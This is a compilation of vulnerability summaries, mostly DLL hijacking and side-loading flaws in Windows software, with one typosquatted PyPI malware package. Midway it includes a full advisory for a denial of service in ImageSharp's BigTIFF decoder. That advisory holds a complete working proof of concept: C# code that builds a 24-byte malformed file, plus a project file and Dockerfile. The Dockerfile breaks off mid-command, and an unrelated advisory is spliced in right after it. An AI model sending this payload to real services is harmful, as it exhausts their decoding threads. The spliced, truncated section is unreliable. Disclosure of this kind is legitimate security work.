CVE-2026-92377 is a high-severity vulnerability in TeamViewer Full Client and Host for Windows prior to version 15.82. It involves improper access control in the Patch Management update mechanism, allowing a local authenticated attacker with low privileges to execute arbitrary code with SYSTEM privileges by supplying a signed executable through a forged IPC response and loading a malicious DLL from a user-writable temporary directory. The issue is fixed in versions 15.82, 15.64.10 (Legacy Windows 7 & 8), 14.7.48868, and 13.2.36231.
CVE-2026-107091 is a code injection vulnerability in the HUION Inspiroy Frego S (L310) Windows Driver version 20.0.1.118. It allows a local attacker to execute arbitrary code through the driver's installer DLL-loading logic. The vulnerability has a high severity with a CVSS score of 7.8, indicating significant impact on confidentiality, integrity, and availability.
The nebulallm package on PyPI version 1.4.3 is a malicious typosquatting package that executes harmful code during installation. It overrides the install command in setup.py to download and run a JScript script, which subsequently downloads a malicious DLL. This behavior clearly indicates malware intent.
CVE-2026-110936 is a DLL side-loading vulnerability in Siemens Software Center version 3.5.8.7 that is actively exploited. Attackers distribute a genuine signed application bundled with malicious DLLs via unofficial channels. The vulnerable software loads these attacker-supplied DLLs without validation, allowing code execution. The attack leverages ClickFix social engineering to trick users into running commands. Siemens patched the vulnerability in version 4.0.9.8 with automatic updates applied on restart. No official Siemens systems or distribution channels were compromised during this campaign.
A vulnerability in Siemens Software Center allowed attackers to pair a legitimate signed copy of the software with malicious DLLs to infect Windows PCs. The flaw, CVE-2026-110936, involves improper DLL search path restrictions, enabling local authenticated attackers to execute arbitrary code with Software Center privileges. Siemens released version 4.0.9.8 to fix the issue, with automatic updates for existing users. The attacks are linked to the Romulus ClickFix malware campaign, which uses social engineering to trick users into executing malicious commands. Siemens confirmed no breach of their distribution channels and is sharing threat intelligence with authorities and security vendors.
MobaXterm Personal Edition (Portable) 26.4 GA has a vulnerability where it extracts the CygUtils64.plugin file without verifying its integrity. A local attacker with write permissions to this file can replace the contained 'bin/cygwin1.dll' library with a malicious version. When the victim opens a Local Shell session or uses a Cygwin-based function, the tampered library is loaded and executed with the victim's permissions. This vulnerability requires local write access and does not escalate privileges by itself.
Metalama.Framework versions before 2026.1.19 load and execute compile-time assemblies and helper tools from predictable temporary directories on Linux and macOS. These directories are world-writable system temp locations, allowing a local unprivileged user to plant malicious DLLs that get executed by higher-privileged build or IDE processes. This results in local privilege escalation and arbitrary code execution. Windows default configurations are not affected due to per-user temp directory protections. The issue is fixed in version 2026.1.19 by relocating caches to per-user application data directories.
CVE-2026-110633 is a local privilege escalation vulnerability in Report One's MyReport Updater up to version 2.1.1. It allows low-privileged users to exploit the SYSTEM updater service to install attacker-controlled archives into arbitrary directories. By manipulating UpdaterManager.exe over gRPC, attackers can set malicious parameters to plant a DLL loaded by osk.exe, resulting in SYSTEM-level code execution.
CVE-2026-107171 is a medium severity vulnerability in Trellix Agent version 5.8.4 involving the use of a hard-coded cryptographic key in the mfecryptc.dll component. This flaw allows regular users to decrypt the database, potentially exposing sensitive information. The vulnerability has a CVSS 4.0 base score of 6.9, indicating a moderate impact with local attack vector and low privileges required. There is no indication of active exploitation in the wild or available patches at this time.
### Summary
`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a
small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader
iterates once per declared entry, but when fewer than 20 bytes remain for an entry,
the entry read returns without advancing. A 24-byte input can therefore run billions
of iterations without consuming input.
One decoder invocation occupied one executing thread for more than five seconds in
the tested environment. This report makes no worker-pool exhaustion claim.
### Affected package and versions
- Package: `SixLabors.ImageSharp` (NuGet)
- Affected range: `>= 2.0.0, <= 4.1.1`
- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.
BigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.
### Details
[`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop.
### Tested environment
The reproduction uses the DLL in the published NuGet 4.1.1 package:
```text
SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), Docker
```
### Reproduction
The public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF
with its first IFD at offset 16 and entry count `5000000000`. There are no bytes
for an entry. Run the supplied container under a five-second timeout.
Complete observed output:
```text
bigTiffBytes=24 entryCount=5000000000
timeout exit status: 124
```
`timeout` exit code 124 means the decoder had not returned after five seconds.
The control is identical except the entry count is `1`:
```text
bigTiffBytes=24 entryCount=1
decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth
Docker exit status: 0
```
The control rejects malformed input promptly; it does not time out.
No active exploitation is known.
### Complete PoC files
Program.cs:
```csharp
using SixLabors.ImageSharp;
static class Program
{
// Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.
// The count field is controlled by the input.
private static byte[] BuildBigTiff(ulong entryCount)
{
byte[] bytes = new byte[24];
bytes[0] = 0x49; bytes[1] = 0x49; // II
bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic
bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets
BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);
BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);
return bytes;
}
private static void Main(string[] args)
{
ulong entryCount = ulong.Parse(args[0]);
byte[] bytes = BuildBigTiff(entryCount);
Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}");
try
{
using var stream = new MemoryStream(bytes);
using Image image = Image.Load(stream);
Console.Error.WriteLine("completed");
}
catch (Exception ex)
{
Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}");
}
}
}
```
Project file:
```xml
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->
<ItemGroup>
<Reference Include="SixLabors.ImageSharp">
<HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
</Reference>
<Reference Include="System.IO.Hashing">
<HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
</Reference>
</ItemGroup>
</Project>
```
Dockerfile:
```dockerfile
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY wmxv.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' >
Newell Brands DYMO ID versions 1.5.1.71 up to but not including 1.6.0 contain a vulnerability where the plugin Modules directory is resolved relative to the process working directory. This allows an attacker to place a malicious job file and DLL in the same folder, causing code execution at the victim's privilege level when the job file is opened. The issue is fixed in version 1.6.0.
SConnect, a popular browser extension and native host used for authentication with eIDs, 3SKeys, and hardware signing tokens, contains a remote code execution (RCE) vulnerability. The flaw arises from a flawed RSA-2048 token validation implementation that allows uninitialized memory to be exploited, enabling arbitrary DLLs to be loaded silently by any site or iframe the user visits. Version 2.16.0.0 of the extension and native host is affected. The vulnerability is tracked as CVE-2026-18397 with a CVSS score of 9.4, indicating critical severity.
A DLL hijacking vulnerability in the FileMaker Pro installer for Windows allowed a local user to execute arbitrary code with elevated administrator privileges by placing a malicious DLL file in the installer directory. This vulnerability is addressed in FileMaker Pro version 26.0.3.
CVE-2026-79919 is a protection mechanism failure vulnerability in MaxKB, an open-source AI assistant for enterprise. Versions prior to 2.10.6-lts allow an authenticated workspace member to bypass the LD_PRELOAD sandbox syscall blacklist by exploiting a flaw in how ctypes.CDLL is invoked from a MetaPathFinder callback. This enables unauthorized read/write file access, process execution, and network access as the sandbox user. The issue is fixed in version 2.10.6-lts.
CVE-2026-92838 is a DLL hijacking vulnerability in GeoVision Inc.'s GV-Remote E-map desktop application version 18.3.1. The application loads dynamic-link libraries from an unsafe search path, which allows a local attacker with write access to place a malicious DLL in a location searched before the legitimate one. Successful exploitation can lead to arbitrary code execution within the security context of the GV-Remote E-map process.